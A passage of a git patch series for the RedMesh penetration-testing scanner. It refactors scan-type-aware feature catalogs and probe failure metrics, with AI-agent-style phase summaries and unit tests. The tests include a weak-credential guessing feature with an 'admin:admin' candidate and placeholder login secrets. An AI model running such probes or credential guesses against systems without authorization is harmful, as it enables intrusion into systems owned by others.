test_launch_test_rejects_invalid_scan_type(self): + """Compatibility endpoint rejects unknown scan types with a structured error.""" + plugin = self._build_mock_plugin(job_id="test-job-badtype") + result = self._launch(plugin, scan_type="invalid-scan-type") + self.assertEqual(result["error"], "validation_error") + self.assertIn("Invalid scan_type", result["message"]) + + def test_launch_test_routes_to_scan_type_specific_endpoint(self): + """Compatibility launch_test routes to network/webapp launch methods.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = MagicMock() + plugin.launch_network_scan = MagicMock(return_value={"route": "network"}) + plugin.launch_webapp_scan = MagicMock(return_value={"route": "webapp"}) + + network = PentesterApi01Plugin.launch_test(plugin, target="example.com", authorized=True, scan_type="network") + webapp = PentesterApi01Plugin.launch_test( + plugin, + target="example.com", + target_url="https://example.com/app", + official_username="admin", + official_password="secret", + authorized=True, + scan_type="webapp", + ) + + self.assertEqual(network["route"], "network") + self.assertEqual(webapp["route"], "webapp") + plugin.launch_network_scan.assert_called_once() + plugin.launch_webapp_scan.assert_called_once() + class TestPhase2PassFinalization(unittest.TestCase): From 1b7fb202863aa6ef07a8151091549b1c52e84d5f Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 01:19:21 +0000 Subject: [PATCH 053/114] refactor(redmesh)(phase 4): model feature capabilities by scan type --- .../docs/codex/2026-03-11-phase-4-summary.md | 93 +++++++++++++ .../cybersec/red_mesh/graybox/worker.py | 13 ++ .../cybersec/red_mesh/pentester_api_01.py | 126 +++++++++++++++--- .../cybersec/red_mesh/tests/test_api.py | 93 ++++++++++++- .../red_mesh/worker/pentest_worker.py | 19 +++ 5 files changed, 323 insertions(+), 21 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md new file mode 100644 index 00000000..4ba7cfbd --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md @@ -0,0 +1,93 @@ +# Phase 4 Summary + +Date: 2026-03-11 + +## Goal + +Make feature discovery, catalog output, and launch-time feature validation scan-type-aware, and ensure the UI preserves backend feature categories correctly. + +## Issues Addressed + +- `001-C3` `_get_all_features` only discovered network worker methods +- `001-L3` webapp `enabled_features` stored network probe names +- `003-4` feature catalog / capability mismatch +- `006` capability model inconsistency between workers, API, and UI + +## What Was Done + +### Backend + +- Added explicit capability discovery on both worker classes: + - [pentest_worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/worker/pentest_worker.py) + - `FEATURE_PREFIXES` + - `get_feature_prefixes()` + - `get_supported_features()` + - [graybox/worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/graybox/worker.py) + - `get_feature_prefixes()` + - `get_supported_features()` +- Refactored feature discovery in [pentester_api_01.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py): + - added `_coerce_scan_type()` + - added `_get_supported_features()` + - extended `_get_all_features(..., scan_type=...)` + - added `_get_feature_catalog(scan_type)` + - added `_validate_feature_catalog()` +- Startup now validates `FEATURE_CATALOG` against executable worker capabilities and fails fast if a catalog item references missing methods. +- Updated endpoint behavior: + - `list_features(scan_type="")` + - `get_feature_catalog(scan_type="all")` +- Updated launch-time feature resolution so: + - network launches validate against network/service/web/correlation features + - webapp launches validate against graybox features only +- Verified that webapp `enabled_features` now persists graybox method keys instead of network probe names. + +### Frontend + +- Fixed backend category preservation in: + - [config route](/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/api/config/route.ts) + - [features route](/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/api/features/route.ts) +- Navigator now preserves `graybox` and `correlation` categories from the backend catalog instead of narrowing them incorrectly in route adapters. + +## Acceptance Criteria Check + +- Graybox jobs only validate against graybox features. + - Verified by launch-path test coverage and persisted webapp config assertions. +- Network jobs only validate against network/correlation/web features. + - Verified by capability discovery including `_post_scan_*` and excluding graybox methods. +- Feature catalog output is consistent with executable probes. + - Verified by scan-type-filtered catalog tests and startup validation. +- Startup fails loudly if the catalog references missing methods. + - Verified by explicit failure test for invalid catalog entries. + +## Tests Run + +Backend: + +```bash +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py +``` + +Result: `131 passed` + +Frontend: + +```bash +npm test -- --runInBand config-route.test.ts jobs-api.test.ts jobs-route.test.ts +``` + +Result: `3 suites passed, 11 tests passed` + +## Resulting State + +- Capability discovery is now derived from worker classes instead of a network-only helper. +- The backend catalog is filtered by scan type and validated against actual executable methods. +- Webapp launches no longer persist irrelevant network feature names. +- Navigator preserves graybox categories from the backend catalog, which keeps config/UI consumers aligned with backend semantics. + +## Remaining Follow-Up + +- The frontend fallback catalog in [features.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/domain/features.ts) is still incomplete for graybox; that belongs to the later UI/feature-selection phase. +- [env.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/config/env.ts) still logs raw environment/config data and remains a security issue for the hardening phase. diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py index 13c5b597..47011beb 100644 --- a/extensions/business/cybersec/red_mesh/graybox/worker.py +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -100,6 +100,19 @@ def __init__(self, owner, job_id, target_url, job_config, } self._phase = "" + @classmethod + def get_feature_prefixes(cls): + """Return feature prefixes for compatibility with capability discovery.""" + return ["_graybox_"] + + @classmethod + def get_supported_features(cls, categs=False): + """Return supported graybox features from the explicit probe registry.""" + features = [entry["key"] for entry in GRAYBOX_PROBE_REGISTRY] + ["_graybox_weak_auth"] + if categs: + return {"graybox": features} + return features + # start(), stop(), _check_stopped(), P() are ALL inherited from # BaseLocalWorker. NOT redefined here. diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 7aa95c6b..ce4cc3d0 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -183,6 +183,7 @@ def on_init(self): """ super(PentesterApi01Plugin, self).on_init() self.__features = self._get_all_features() + self._validate_feature_catalog() # Track active and completed jobs by target self.scan_jobs = {} # target -> PentestJob instance self.completed_jobs_reports = {} # target -> final report dict @@ -331,31 +332,113 @@ def __post_init(self): - def _get_all_features(self, categs=False): + def _coerce_scan_type(self, scan_type=None): + """Normalize optional scan-type input to ScanType or None.""" + if scan_type in (None, "", "all"): + return None + if isinstance(scan_type, ScanType): + return scan_type + return ScanType(str(scan_type)) + + + def _get_supported_features(self, scan_type=None, categs=False): """ - Discover all service and web test methods available to workers. + Discover executable features from registered worker classes. Parameters ---------- + scan_type : str | ScanType | None, optional + Limit discovery to one scan type when provided. categs : bool, optional If True, return a dict keyed by category; otherwise a flat list. - - Returns - ------- - dict | list - Mapping or list of method names prefixed with `_service_info_` / `_web_test_`. """ + normalized_scan_type = self._coerce_scan_type(scan_type) + worker_items = ( + [(normalized_scan_type, WORKER_DISPATCH[normalized_scan_type])] + if normalized_scan_type + else list(WORKER_DISPATCH.items()) + ) + features = {} if categs else [] - PREFIXES = ["_service_info_", "_web_test_"] - for prefix in PREFIXES: - methods = [method for method in dir(PentestLocalWorker) if method.startswith(prefix)] + for _, worker_cls in worker_items: + worker_features = worker_cls.get_supported_features(categs=categs) if categs: - features[prefix[1:-1]] = methods + for category, methods in worker_features.items(): + bucket = features.setdefault(category, []) + for method in methods: + if method not in bucket: + bucket.append(method) else: - features.extend(methods) + for method in worker_features: + if method not in features: + features.append(method) return features + def _get_all_features(self, categs=False, scan_type=None): + """ + Discover all executable feature methods available to workers. + + Parameters + ---------- + categs : bool, optional + If True, return a dict keyed by category; otherwise a flat list. + scan_type : str | ScanType | None, optional + If provided, return features only for that scan type. + + Returns + ------- + dict | list + Mapping or list of executable feature method names. + """ + return self._get_supported_features(scan_type=scan_type, categs=categs) + + + def _get_feature_catalog(self, scan_type=None): + """Return catalog items relevant to the requested scan type.""" + normalized_scan_type = self._coerce_scan_type(scan_type) + if normalized_scan_type == ScanType.WEBAPP: + allowed_categories = {"graybox"} + elif normalized_scan_type == ScanType.NETWORK: + allowed_categories = {"service", "web", "correlation"} + else: + allowed_categories = None + + catalog = [] + for item in FEATURE_CATALOG: + if allowed_categories and item.get("category") not in allowed_categories: + continue + catalog.append(item) + return catalog + + + def _validate_feature_catalog(self): + """Fail fast if catalog methods reference non-executable worker capabilities.""" + supported_by_type = { + scan_type: set(self._get_supported_features(scan_type=scan_type)) + for scan_type in WORKER_DISPATCH + } + catalog_by_type = { + ScanType.NETWORK: self._get_feature_catalog(scan_type=ScanType.NETWORK), + ScanType.WEBAPP: self._get_feature_catalog(scan_type=ScanType.WEBAPP), + } + invalid = [] + for scan_type, catalog in catalog_by_type.items(): + supported = supported_by_type[scan_type] + for item in catalog: + missing = sorted(method for method in item.get("methods", []) if method not in supported) + if missing: + invalid.append({ + "scan_type": scan_type.value, + "feature_id": item.get("id"), + "missing_methods": missing, + }) + if invalid: + raise RuntimeError( + "Invalid FEATURE_CATALOG definitions: {}".format(self.json_dumps(invalid, indent=2)) + ) + + def _normalize_job_record(self, job_key, job_spec, migrate=False): """ Normalize a job record and optionally migrate legacy entries. @@ -1512,7 +1595,7 @@ def _get_job_status(self, job_id : str): """ @BasePlugin.endpoint - def list_features(self): + def list_features(self, scan_type: str = ""): """ List available service and web test features. @@ -1521,12 +1604,12 @@ def list_features(self): dict Mapping of categories to lists of feature names. """ - result = {"features": self._get_all_features(categs=True)} + result = {"features": self._get_all_features(categs=True, scan_type=scan_type or None)} return result @BasePlugin.endpoint - def get_feature_catalog(self): + def get_feature_catalog(self, scan_type: str = "all"): """ Return the feature catalog with grouped features, labels, and descriptions. @@ -1538,9 +1621,9 @@ def get_feature_catalog(self): dict Feature catalog with categories and all available methods. """ - all_methods = self._get_all_features() + all_methods = self._get_all_features(scan_type=scan_type) return { - "catalog": FEATURE_CATALOG, + "catalog": self._get_feature_catalog(scan_type=scan_type), "all_methods": all_methods, } @@ -1556,10 +1639,10 @@ def _parse_exceptions(self, exceptions): return [int(x) for x in exceptions if str(x).isdigit()] return [int(x) for x in self.re.findall(r'\d+', str(exceptions)) if x.isdigit()] - def _resolve_enabled_features(self, excluded_features): + def _resolve_enabled_features(self, excluded_features, scan_type=ScanType.NETWORK.value): """Validate excluded features and derive enabled features for audit/config.""" excluded_features = excluded_features or self.cfg_excluded_features or [] - all_features = self.__features + all_features = self._get_all_features(scan_type=scan_type) invalid = [f for f in excluded_features if f not in all_features] if invalid: self.P(f"Warning: Unknown features in excluded_features (ignored): {self.json_dumps(invalid)}") @@ -1718,7 +1801,10 @@ def _announce_launch( allow_stateful_probes, ): """Persist immutable config, announce job in CStore, and return launch response.""" - excluded_features, enabled_features = self._resolve_enabled_features(excluded_features) + excluded_features, enabled_features = self._resolve_enabled_features( + excluded_features, + scan_type=scan_type, + ) if not scanner_identity: scanner_identity = self.cfg_scanner_identity diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 0a6acab0..d91c0685 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -118,6 +118,7 @@ def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmF plugin.chainstore_peers = ["node-1"] plugin.cfg_chainstore_peers = ["node-1"] plugin._redact_job_config = staticmethod(lambda d: d) + plugin._validate_feature_catalog = MagicMock() return plugin @classmethod @@ -126,9 +127,19 @@ def _bind_launch_helpers(cls, plugin): cls._mock_plugin_modules() from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + plugin._coerce_scan_type = lambda scan_type=None: PentesterApi01Plugin._coerce_scan_type(plugin, scan_type) plugin._validation_error = lambda message: PentesterApi01Plugin._validation_error(plugin, message) plugin._parse_exceptions = lambda exceptions: PentesterApi01Plugin._parse_exceptions(plugin, exceptions) - plugin._resolve_enabled_features = lambda excluded: PentesterApi01Plugin._resolve_enabled_features(plugin, excluded) + plugin._get_supported_features = lambda scan_type=None, categs=False: PentesterApi01Plugin._get_supported_features( + plugin, scan_type=scan_type, categs=categs + ) + plugin._get_all_features = lambda categs=False, scan_type=None: PentesterApi01Plugin._get_all_features( + plugin, categs=categs, scan_type=scan_type + ) + plugin._get_feature_catalog = lambda scan_type=None: PentesterApi01Plugin._get_feature_catalog(plugin, scan_type) + plugin._resolve_enabled_features = lambda excluded, scan_type="network": ( + PentesterApi01Plugin._resolve_enabled_features(plugin, excluded, scan_type=scan_type) + ) plugin._resolve_active_peers = lambda selected: PentesterApi01Plugin._resolve_active_peers(plugin, selected) plugin._normalize_common_launch_options = lambda **kwargs: PentesterApi01Plugin._normalize_common_launch_options( plugin, **kwargs @@ -341,6 +352,86 @@ def test_launch_test_routes_to_scan_type_specific_endpoint(self): plugin.launch_network_scan.assert_called_once() plugin.launch_webapp_scan.assert_called_once() + def test_launch_webapp_scan_persists_graybox_enabled_features_only(self): + """Webapp launches resolve enabled features from the graybox capability set only.""" + plugin = self._build_mock_plugin(job_id="test-job-webfeatures") + self._launch_webapp(plugin, excluded_features=["_graybox_injection"]) + + config_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + self.assertEqual(config_dict["excluded_features"], ["_graybox_injection"]) + self.assertIn("_graybox_access_control", config_dict["enabled_features"]) + self.assertIn("_graybox_weak_auth", config_dict["enabled_features"]) + self.assertNotIn("_graybox_injection", config_dict["enabled_features"]) + self.assertFalse(any(method.startswith("_service_info_") for method in config_dict["enabled_features"])) + self.assertFalse(any(method.startswith("_web_test_") for method in config_dict["enabled_features"])) + + +class TestPhase4FeatureCatalog(unittest.TestCase): + """Phase 4: feature catalog and scan-type capability modeling.""" + + @classmethod + def _mock_plugin_modules(cls): + mock_plugin_modules() + + def _build_plugin(self): + plugin = MagicMock() + plugin.json_dumps = staticmethod(json.dumps) + plugin.P = MagicMock() + return TestPhase1ConfigCID._bind_launch_helpers(plugin) + + def test_get_all_features_filters_by_scan_type(self): + """Capability discovery is scan-type-aware.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = self._build_plugin() + network = PentesterApi01Plugin._get_all_features(plugin, scan_type="network") + webapp = PentesterApi01Plugin._get_all_features(plugin, scan_type="webapp") + merged = PentesterApi01Plugin._get_all_features(plugin) + + self.assertIn("_service_info_http", network) + self.assertIn("_post_scan_correlate", network) + self.assertNotIn("_graybox_access_control", network) + self.assertIn("_graybox_access_control", webapp) + self.assertNotIn("_service_info_http", webapp) + self.assertIn("_graybox_access_control", merged) + self.assertIn("_service_info_http", merged) + + def test_get_feature_catalog_filters_graybox_category(self): + """Catalog filtering returns only graybox entries for webapp scans.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = self._build_plugin() + response = PentesterApi01Plugin.get_feature_catalog(plugin, scan_type="webapp") + + self.assertEqual([item["category"] for item in response["catalog"]], ["graybox"]) + self.assertIn("_graybox_access_control", response["all_methods"]) + self.assertNotIn("_service_info_http", response["all_methods"]) + + def test_validate_feature_catalog_rejects_missing_worker_methods(self): + """Startup validation fails loudly when catalog methods are not executable.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin = self._build_plugin() + bad_catalog = [ + { + "id": "graybox", + "label": "Graybox", + "description": "Broken", + "category": "graybox", + "methods": ["_graybox_missing_method"], + } + ] + + with patch( + "extensions.business.cybersec.red_mesh.pentester_api_01.FEATURE_CATALOG", + bad_catalog, + ): + with self.assertRaises(RuntimeError): + PentesterApi01Plugin._validate_feature_catalog(plugin) + class TestPhase2PassFinalization(unittest.TestCase): diff --git a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py index b844974d..a3cdaf24 100644 --- a/extensions/business/cybersec/red_mesh/worker/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py @@ -29,6 +29,8 @@ class PentestLocalWorker( _CorrelationMixin, BaseLocalWorker, ): + FEATURE_PREFIXES = ("_service_info_", "_web_test_", "_post_scan_") + """ Execute a pentest workflow against a target on a dedicated thread. @@ -218,6 +220,23 @@ def _get_all_features(self, categs=False): else: features.extend(methods) return features + + @classmethod + def get_feature_prefixes(cls): + """Return method prefixes used for feature discovery.""" + return list(cls.FEATURE_PREFIXES) + + @classmethod + def get_supported_features(cls, categs=False): + """Return supported network-worker features discovered from class methods.""" + features = {} if categs else [] + for prefix in cls.get_feature_prefixes(): + methods = [method for method in dir(cls) if method.startswith(prefix)] + if categs: + features[prefix[1:-1]] = methods + else: + features.extend(methods) + return features @staticmethod def get_worker_specific_result_fields(): From c10f0f75a4da75fb7205aa5a67398fe3e994e9dc Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 01:25:34 +0000 Subject: [PATCH 054/114] fix(redmesh)(phase 5): harden worker probe metrics and isolation --- .../docs/codex/2026-03-11-phase-5-summary.md | 80 +++++++++++++++++++ .../cybersec/red_mesh/graybox/worker.py | 56 ++++++++++--- .../cybersec/red_mesh/tests/test_probes.py | 17 +++- .../cybersec/red_mesh/tests/test_worker.py | 79 ++++++++++++++++++ .../red_mesh/worker/pentest_worker.py | 30 +++++-- 5 files changed, 246 insertions(+), 16 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md new file mode 100644 index 00000000..4fc77fc8 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md @@ -0,0 +1,80 @@ +# Phase 5 Summary + +Date: 2026-03-11 + +## Goal + +Make probe execution failures visible without aborting the entire worker pipeline, and make graybox probe/weak-auth metrics first-class in worker status and reporting. + +## Issues Addressed + +- `004-WRK-C1` crashing probe paths could degrade or abort execution silently +- `004-API-H3` failed probes were not visible enough in stored metrics +- `004-WRK-H1` graybox probe metrics were sparse +- `004-WRK-H4` graybox scenario counts were not carried into `scan_metrics` +- part of worker feature-control parity for disabled graybox and correlation probes + +## What Was Done + +### Backend + +- Updated [graybox/worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/graybox/worker.py): + - `get_status()` now merges scenario counters into `scan_metrics` + - each graybox probe now records one of: + - `completed` + - `failed` + - `skipped:disabled` + - `skipped:stateful_disabled` + - `skipped:missing_auth` + - `skipped:missing_regular_session` + - per-probe exclusions now suppress only the matching graybox probe + - weak-auth execution now records `completed`, `failed`, or `skipped:disabled` + - stored findings now also feed `finding_distribution` metrics +- Updated [pentest_worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/worker/pentest_worker.py): + - service probe dispatch now catches per-port probe exceptions and records failed probe state instead of aborting the worker + - web probe dispatch now does the same + - correlation now records `completed`, `failed`, or `skipped:disabled` +- Added/extended tests in: + - [test_worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py) + - [test_probes.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_probes.py) + +## Acceptance Criteria Check + +- A single failing probe does not kill the whole worker pipeline. + - Verified by graybox probe-isolation tests and per-probe exception handling in network workers. +- Failed probes are visible in stored metrics/report breakdown. + - Verified by `probe_breakdown`, `probes_failed`, and disabled/failed status assertions. +- Graybox passes produce meaningful scan metrics and scenario counts. + - Verified by `scan_metrics.scenarios_*` assertions in worker status tests. +- Feature toggles reliably suppress disabled functionality. + - Verified for per-probe graybox exclusions, disabled weak-auth, and disabled correlation reporting. + +## Tests Run + +Backend: + +```bash +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_probes.py +``` + +Result: `308 passed` + +Warnings: + +- Existing TLS/date deprecation warnings in probe tests remain: + - `datetime.utcnow()` usage in TLS-related code/tests + +## Resulting State + +- Operators can now distinguish failed probes from clean probe results in worker metrics. +- Graybox worker metrics now describe scenario outcomes, not just phase timing. +- Disabled graybox and correlation behavior is explicitly surfaced instead of disappearing silently. +- Network probe crashes are isolated at the probe-call level and no longer imply whole-worker failure. + +## Remaining Follow-Up + +- Active fingerprinting feature-control parity is still incomplete and should be covered in the later worker feature-control phase. +- Frontend rendering/export parity for the richer graybox data remains in the next phase. diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py index 47011beb..a3f73180 100644 --- a/extensions/business/cybersec/red_mesh/graybox/worker.py +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -119,8 +119,17 @@ def get_supported_features(cls, categs=False): def get_status(self, for_aggregations=False): """Return worker state for aggregation by pentester_api_01.py.""" status = dict(self.state) - status["scan_metrics"] = self.metrics.build().to_dict() - status["scenario_stats"] = self._compute_scenario_stats() + scenario_stats = self._compute_scenario_stats() + metrics = self.metrics.build().to_dict() + metrics.update({ + "scenarios_total": scenario_stats["total"], + "scenarios_vulnerable": scenario_stats["vulnerable"], + "scenarios_clean": scenario_stats["not_vulnerable"], + "scenarios_inconclusive": scenario_stats["inconclusive"], + "scenarios_error": scenario_stats["error"], + }) + status["scan_metrics"] = metrics + status["scenario_stats"] = scenario_stats if not for_aggregations: status["local_worker_id"] = self.local_worker_id @@ -220,18 +229,25 @@ def execute_job(self): allow_stateful=self.job_config.allow_stateful_probes, ) - graybox_excluded = "graybox" in (self.job_config.excluded_features or []) + excluded_features = set(self.job_config.excluded_features or []) + graybox_excluded = "graybox" in excluded_features if not graybox_excluded: for entry in GRAYBOX_PROBE_REGISTRY: if self._check_stopped(): break - probe_cls = self._import_probe(entry["cls"]) store_key = entry["key"] + if store_key in excluded_features: + self.metrics.record_probe(store_key, "skipped:disabled") + continue + + probe_cls = self._import_probe(entry["cls"]) + # Capability-based skip checks — read from the class itself if probe_cls.is_stateful and not self.job_config.allow_stateful_probes: + self.metrics.record_probe(store_key, "skipped:stateful_disabled") self._store_findings(store_key, [GrayboxFinding( scenario_id=f"SKIP-{store_key}", title="Probe skipped: stateful probes disabled", @@ -240,8 +256,10 @@ def execute_job(self): )]) continue if probe_cls.requires_regular_session and not self.auth.regular_session: + self.metrics.record_probe(store_key, "skipped:missing_regular_session") continue if probe_cls.requires_auth and not self.auth.official_session: + self.metrics.record_probe(store_key, "skipped:missing_auth") continue self.auth.ensure_sessions(official_creds, regular_creds) @@ -249,27 +267,43 @@ def execute_job(self): try: findings = probe_cls(**probe_kwargs).run() self._store_findings(store_key, findings) + self.metrics.record_probe(store_key, "completed") except Exception as exc: self._record_probe_error(store_key, exc) + self.metrics.record_probe(store_key, "failed") + else: + for entry in GRAYBOX_PROBE_REGISTRY: + self.metrics.record_probe(entry["key"], "skipped:disabled") self.state["completed_tests"].append("graybox_probes") self.metrics.phase_end("graybox_probes") # ── Phase 4: Weak auth (optional) ── - if not self._check_stopped() and self.job_config.weak_candidates: + if ( + not self._check_stopped() + and self.job_config.weak_candidates + and "_graybox_weak_auth" not in (self.job_config.excluded_features or []) + ): self._set_phase("weak_auth") self.metrics.phase_start("weak_auth") self.auth.ensure_sessions(official_creds, regular_creds) bl_probe = BusinessLogicProbes( **dict(probe_kwargs, allow_stateful=False), ) - weak_findings = bl_probe.run_weak_auth( - self.job_config.weak_candidates, - self.job_config.max_weak_attempts, - ) - self._store_findings("_graybox_weak_auth", weak_findings) + try: + weak_findings = bl_probe.run_weak_auth( + self.job_config.weak_candidates, + self.job_config.max_weak_attempts, + ) + self._store_findings("_graybox_weak_auth", weak_findings) + self.metrics.record_probe("_graybox_weak_auth", "completed") + except Exception as exc: + self._record_probe_error("_graybox_weak_auth", exc) + self.metrics.record_probe("_graybox_weak_auth", "failed") self.state["completed_tests"].append("graybox_weak_auth") self.metrics.phase_end("weak_auth") + elif self.job_config.weak_candidates and "_graybox_weak_auth" in (self.job_config.excluded_features or []): + self.metrics.record_probe("_graybox_weak_auth", "skipped:disabled") except Exception as exc: self._record_fatal(self.safety.sanitize_error(str(exc))) @@ -284,6 +318,8 @@ def _store_findings(self, key, findings): port_results[key] = { "findings": [f.to_dict() for f in findings], } + for finding in findings: + self.metrics.record_finding(getattr(finding, "severity", "INFO")) def _store_auth_results(self): port_info = self.state["service_info"].setdefault(self._port_key, {}) diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes.py b/extensions/business/cybersec/red_mesh/tests/test_probes.py index 007a4484..98d0ea19 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_probes.py +++ b/extensions/business/cybersec/red_mesh/tests/test_probes.py @@ -1839,6 +1839,22 @@ def test_execute_job_correlation(self): self.assertTrue(worker.state["done"]) self.assertIn("correlation_completed", worker.state["completed_tests"]) + def test_execute_job_skips_disabled_correlation_probe(self): + """Disabled correlation is reflected as a skipped probe, not silently omitted.""" + _, worker = self._build_worker() + worker._PentestLocalWorker__enabled_features = [] + + with patch.object(worker, "_scan_ports_step"), \ + patch.object(worker, "_active_fingerprint_ports"), \ + patch.object(worker, "_gather_service_info"), \ + patch.object(worker, "_run_web_tests"), \ + patch.object(worker, "_post_scan_correlate") as mock_correlate: + worker.execute_job() + + mock_correlate.assert_not_called() + metrics = worker.metrics.build().to_dict() + self.assertEqual(metrics["probe_breakdown"]["_post_scan_correlate"], "skipped:disabled") + class TestScannerEnhancements(unittest.TestCase): @@ -5077,4 +5093,3 @@ def test_jetty_all_cves_match(self): self.assertEqual(cve_ids, expected, f"Should match all 4 Jetty CVEs, got {cve_ids}") - diff --git a/extensions/business/cybersec/red_mesh/tests/test_worker.py b/extensions/business/cybersec/red_mesh/tests/test_worker.py index c607ffc8..43eda332 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_worker.py +++ b/extensions/business/cybersec/red_mesh/tests/test_worker.py @@ -135,6 +135,20 @@ def test_get_status_includes_scenario_stats(self): status = worker.get_status() self.assertIn("scenario_stats", status) + def test_get_status_merges_scenario_stats_into_scan_metrics(self): + """scan_metrics includes graybox scenario counters.""" + worker = _make_worker() + worker._store_findings("_test_probe", [GrayboxFinding( + scenario_id="TEST-01", + title="Test", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + )]) + status = worker.get_status() + self.assertEqual(status["scan_metrics"]["scenarios_total"], 1) + self.assertEqual(status["scan_metrics"]["scenarios_vulnerable"], 1) + def test_get_status_for_aggregations(self): """for_aggregations=True omits local_worker_id.""" worker = _make_worker() @@ -360,6 +374,66 @@ def test_excluded_features_skips_probes(self): worker.execute_job() mock_import.assert_not_called() + def test_excluded_probe_key_skips_only_that_probe(self): + """Per-probe exclusions suppress only the disabled graybox probe.""" + worker = _make_worker(excluded_features=["_graybox_injection"]) + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + imported = [] + mock_probe = MagicMock() + mock_probe.run.return_value = [] + mock_cls = MagicMock(return_value=mock_probe) + mock_cls.is_stateful = False + mock_cls.requires_auth = False + mock_cls.requires_regular_session = False + + def track_import(cls_path): + imported.append(cls_path) + return mock_cls + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", [ + {"key": "_graybox_injection", "cls": "inj.Probe"}, + {"key": "_graybox_access_control", "cls": "acc.Probe"}, + ]): + with patch.object(GrayboxLocalWorker, "_import_probe", staticmethod(track_import)): + worker.execute_job() + + self.assertEqual(imported, ["acc.Probe"]) + metrics = worker.get_status()["scan_metrics"] + self.assertEqual(metrics["probe_breakdown"]["_graybox_injection"], "skipped:disabled") + self.assertEqual(metrics["probe_breakdown"]["_graybox_access_control"], "completed") + + def test_excluded_weak_auth_probe_records_skip(self): + """Weak-auth probe is skipped cleanly when disabled by feature control.""" + worker = _make_worker( + weak_candidates=["admin:admin"], + excluded_features=["_graybox_weak_auth"], + ) + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.BusinessLogicProbes") as mock_probe: + worker.execute_job() + mock_probe.assert_not_called() + 